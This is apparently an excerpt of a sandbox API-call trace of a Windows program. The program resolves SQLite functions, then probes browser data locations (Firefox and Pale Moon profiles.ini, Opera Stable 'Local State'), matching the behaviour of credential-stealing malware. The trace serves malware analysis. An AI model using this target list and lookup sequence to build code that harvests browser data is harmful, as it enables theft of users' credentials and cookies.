[0052.637] StrCmpCA (pszStr1="sqlite3_malloc", pszStr2="sqlite3_prepare_v2") returned -3
[0052.637] StrCmpCA (pszStr1="sqlite3_malloc64", pszStr2="sqlite3_prepare_v2") returned -3
[0052.637] StrCmpCA (pszStr1="sqlite3_memory_alarm", pszStr2="sqlite3_prepare_v2") returned -3
[0052.637] StrCmpCA (pszStr1="sqlite3_memory_highwater", pszStr2="sqlite3_prepare_v2") returned -3
[0052.637] StrCmpCA (pszStr1="sqlite3_memory_used", pszStr2="sqlite3_prepare_v2") returned -3
[0052.637] StrCmpCA (pszStr1="sqlite3_mprintf", pszStr2="sqlite3_prepare_v2") returned -3
[0052.637] StrCmpCA (pszStr1="sqlite3_msize", pszStr2="sqlite3_prepare_v2") returned -3
[0052.637] StrCmpCA (pszStr1="sqlite3_mutex_alloc", pszStr2="sqlite3_prepare_v2") returned -3
[0052.637] StrCmpCA (pszStr1="sqlite3_mutex_enter", pszStr2="sqlite3_prepare_v2") returned -3
[0052.637] StrCmpCA (pszStr1="sqlite3_mutex_free", pszStr2="sqlite3_prepare_v2") returned -3
[0052.637] StrCmpCA (pszStr1="sqlite3_mutex_leave", pszStr2="sqlite3_prepare_v2") returned -3
[0052.637] StrCmpCA (pszStr1="sqlite3_mutex_try", pszStr2="sqlite3_prepare_v2") returned -3
[0052.637] StrCmpCA (pszStr1="sqlite3_next_stmt", pszStr2="sqlite3_prepare_v2") returned -2
[0052.637] StrCmpCA (pszStr1="sqlite3_open", pszStr2="sqlite3_prepare_v2") returned -1
[0052.637] StrCmpCA (pszStr1="sqlite3_open16", pszStr2="sqlite3_prepare_v2") returned -1
[0052.637] StrCmpCA (pszStr1="sqlite3_open_v2", pszStr2="sqlite3_prepare_v2") returned -1
[0052.637] StrCmpCA (pszStr1="sqlite3_os_end", pszStr2="sqlite3_prepare_v2") returned -1
[0052.637] StrCmpCA (pszStr1="sqlite3_os_init", pszStr2="sqlite3_prepare_v2") returned -1
[0052.637] StrCmpCA (pszStr1="sqlite3_overload_function", pszStr2="sqlite3_prepare_v2") returned -1
[0052.637] StrCmpCA (pszStr1="sqlite3_prepare", pszStr2="sqlite3_prepare_v2") returned -95
[0052.637] StrCmpCA (pszStr1="sqlite3_prepare16", pszStr2="sqlite3_prepare_v2") returned -46
[0052.637] StrCmpCA (pszStr1="sqlite3_prepare16_v2", pszStr2="sqlite3_prepare_v2") returned -46
[0052.637] StrCmpCA (pszStr1="sqlite3_prepare16_v3", pszStr2="sqlite3_prepare_v2") returned -46
[0052.637] StrCmpCA (pszStr1="sqlite3_prepare_v2", pszStr2="sqlite3_prepare_v2") returned 0
[0052.637] StrCmpCA (pszStr1="sqlite3_aggregate_context", pszStr2="sqlite3_step") returned -18
[0052.637] StrCmpCA (pszStr1="sqlite3_aggregate_count", pszStr2="sqlite3_step") returned -18
[0052.638] StrCmpCA (pszStr1="sqlite3_auto_extension", pszStr2="sqlite3_step") returned -18
[0052.638] StrCmpCA (pszStr1="sqlite3_autovacuum_pages", pszStr2="sqlite3_step") returned -18
[0052.638] StrCmpCA (pszStr1="sqlite3_backup_finish", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_backup_init", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_backup_pagecount", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_backup_remaining", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_backup_step", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_blob", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_blob64", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_double", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_int", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_int64", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_null", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_parameter_count", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_parameter_index", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_parameter_name", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_pointer", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_text", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_text16", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_text64", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_value", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_zeroblob", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_bind_zeroblob64", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_blob_bytes", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_blob_close", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_blob_open", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_blob_read", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_blob_reopen", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_blob_write", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_busy_handler", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_busy_timeout", pszStr2="sqlite3_step") returned -17
[0052.638] StrCmpCA (pszStr1="sqlite3_cancel_auto_extension", pszStr2="sqlite3_step") returned -16
[0052.638] StrCmpCA (pszStr1="sqlite3_changes", pszStr2="sqlite3_step") returned -16
[0052.638] StrCmpCA (pszStr1="sqlite3_changes64", pszStr2="sqlite3_step") returned -16
[0052.638] StrCmpCA (pszStr1="sqlite3_clear_bindings", pszStr2="sqlite3_step") returned -16
[0052.638] StrCmpCA (pszStr1="sqlite3_close", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_close_v2", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_collation_needed", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_collation_needed16", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_blob", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_bytes", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_bytes16", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_count", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_database_name", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_database_name16", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_decltype", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_decltype16", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_double", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_int", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_int64", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_name", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_name16", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_origin_name", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_origin_name16", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_table_name", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_table_name16", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_text", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_text16", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_type", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_column_value", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_commit_hook", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_compileoption_get", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_compileoption_used", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_complete", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_complete16", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_config", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_context_db_handle", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_create_collation", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_create_collation16", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_create_collation_v2", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_create_filename", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_create_function", pszStr2="sqlite3_step") returned -16
[0052.639] StrCmpCA (pszStr1="sqlite3_create_function16", pszStr2="sqlite3_step") returned -16
[0052.640] StrCmpCA (pszStr1="sqlite3_create_function_v2", pszStr2="sqlite3_step") returned -16
[0052.640] StrCmpCA (pszStr1="sqlite3_create_module", pszStr2="sqlite3_step") returned -16
[0052.640] StrCmpCA (pszStr1="sqlite3_create_module_v2", pszStr2="sqlite3_step") returned -16
[0052.640] StrCmpCA (pszStr1="sqlite3_create_window_function", pszStr2="sqlite3_step") returned -16
[0052.640] StrCmpCA (pszStr1="sqlite3_data_count", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_data_directory", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_database_file_object", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_db_cacheflush", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_db_config", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_db_filename", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_db_handle", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_db_mutex", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_db_name", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_db_readonly", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_db_release_memory", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_db_status", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_declare_vtab", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_deserialize", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_drop_modules", pszStr2="sqlite3_step") returned -15
[0052.640] StrCmpCA (pszStr1="sqlite3_enable_load_extension", pszStr2="sqlite3_step") returned -14
[0052.644] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0052.644] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
[0052.644] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\"
[0052.644] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\", lpString2="..\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\"
[0052.644] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\", lpString2="p" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\p") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\p"
[0052.644] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\p", lpString2="r" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\pr") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\pr"
[0052.644] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\pr", lpString2="o" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\pro") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\pro"
[0052.644] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\pro", lpString2="f" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\prof") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\prof"
[0052.644] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\prof", lpString2="i" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profi") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profi"
[0052.644] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profi", lpString2="l" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profil") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profil"
[0052.644] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profil", lpString2="e" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profile") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profile"
[0052.644] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profile", lpString2="s" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profiles") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profiles"
[0052.644] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profiles", lpString2=".ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profiles.ini"
[0052.644] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\mozilla\\firefox\\profiles.ini")) returned 0xffffffff
[0052.645] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x18194c | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0052.645] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0052.645] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Moonchild Productions\\Pale Moon\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\"
[0052.645] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\"
[0052.645] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\", lpString2="..\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\"
[0052.645] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\", lpString2="p" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\p") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\p"
[0052.645] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\p", lpString2="r" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\pr") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\pr"
[0052.645] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\pr", lpString2="o" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\pro") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\pro"
[0052.645] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\pro", lpString2="f" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\prof") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\prof"
[0052.645] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\prof", lpString2="i" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profi") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profi"
[0052.645] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profi", lpString2="l" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profil") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profil"
[0052.645] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profil", lpString2="e" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profile") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profile"
[0052.645] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profile", lpString2="s" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profiles") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profiles"
[0052.645] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profiles", lpString2=".ini" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profiles.ini") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profiles.ini"
[0052.645] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Moonchild Productions\\Pale Moon\\Profiles\\..\\profiles.ini" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\moonchild productions\\pale moon\\profiles.ini")) returned 0xffffffff
[0052.647] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1817e4 | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0052.647] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0052.647] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Opera Software\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\"
[0052.647] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\", lpString2="\\Opera Stable\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\"
[0052.647] StrCmpCA (pszStr1="\\Opera Stable\\", pszStr2="\\Opera Stable\\") returned 0
[0052.647] StrCmpCA (pszStr1="\\Opera Stable\\", pszStr2="\\Opera GX Stable\\") returned 12
[0052.647] StrCmpCA (pszStr1="\\Opera Stable\\", pszStr2="Opera Crypto Stable") returned 13
[0052.647] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x1817fc | out: pszPath="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x0
[0052.647] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming"
[0052.647] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming", lpString2="\\Opera Software\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\"
[0052.647] lstrcatA (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\"
[0052.647] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\\\"
[0052.648] lstrcatA (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\\\", lpString2="Local State" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\\\Local State") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\\\Local State"
[0052.648] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x67d910
[0052.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=80, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80
[0052.650] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x67d968
[0052.651] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x67d910, cbMultiByte=80, lpWideCharStr=0x67d968, cchWideChar=80 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\\\Local State") returned 80
[0052.653] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x67da10
[0052.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0052.654] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\\\Local State" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local state")) returned 0xffffffff
[0052.696] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da10 | out: hHeap=0x670000) returned 1
[0052.696] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d910 | out: hHeap=0x670000) returned 1
[0052.698] wsprintfA (in: param_1=0x1817b8, param_2="%s\\*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\\\*") returned 69
